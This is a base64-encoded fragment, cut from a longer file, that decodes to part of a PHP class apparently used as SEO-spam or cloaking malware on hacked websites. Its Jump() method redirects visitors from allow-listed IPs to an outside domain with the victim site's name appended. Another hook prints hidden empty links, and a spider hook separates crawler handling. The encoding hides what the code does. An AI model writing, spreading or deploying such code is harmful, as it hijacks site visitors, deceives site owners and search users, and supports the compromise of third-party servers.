X2RhdGE7CiAgICB9CgoJcHVibGljIGZ1bmN0aW9uIEp1bXAoKXsKCQlpZigkdGhpcy0+aXNBbGxv d2RJcCgpKXsKCQkJJGRvbWFpbiAgPSBzdHJfcmVwbGFjZSgiLiIsIl8iLCR0aGlzLT5kb21haW4p OwoJCQloZWFkZXIoJ0xvY2F0aW9uOiBodHRwOi8vbnQud3hjb29sYmFieS5jb20vbnQvP2pwXycu JGRvbWFpbik7CgkJCWV4aXQ7CgkJfQoJfQoJCglwdWJsaWMgZnVuY3Rpb24gX3VuY29uZGl0aW9u X2hvb2soKXsKCQkkYXJyYXkgPSBhcnJheSgpOwoJCWZvcigkYT0wOyRhPDU7JGErKyl7CgkJCWVj aG8gJzxhIGhyZWY9IicuQXBwX0dldExpbmsoKS4nIj48L2E+Jy4iXG4iOwoJCX0KCX0KCglwdWJs aWMgZnVuY3Rpb24gX3VuU3BpZGVyX2hvb2soKXsKCQkvLwoJfQoKCglwdWJsaWMgZnVuY3Rpb24g c3RyU3RhcnRXaXRoKCRuZWVkbGUsICRoYXlzdGFjayl7CiAgCSAgcmV0dXJuIChzdWJzdHIoJGhh eXN0YWNrLCAwLCBzdHJsZW4oJG5lZWRsZSkpPT0kbmVlZGxlKTsKCX0KCQoJcHVibGljIGZ1bmN0 aW9uIGN1dCgkZmlsZSwkZnJvbSwkZW5kKQoJeyAKCQkkbWVzc2FnZT1leHBsb2RlKCRmcm9tLCRm aWxlKTsgCgkJJG1lc3NhZ2U9ZXhwbG9kZSgkZW5kLCRtZXNzYWdlWzFdKTsgCgkJcmV0dXJuICAg JG1lc3NhZ2VbMF07Cgl9Cn0KCgo=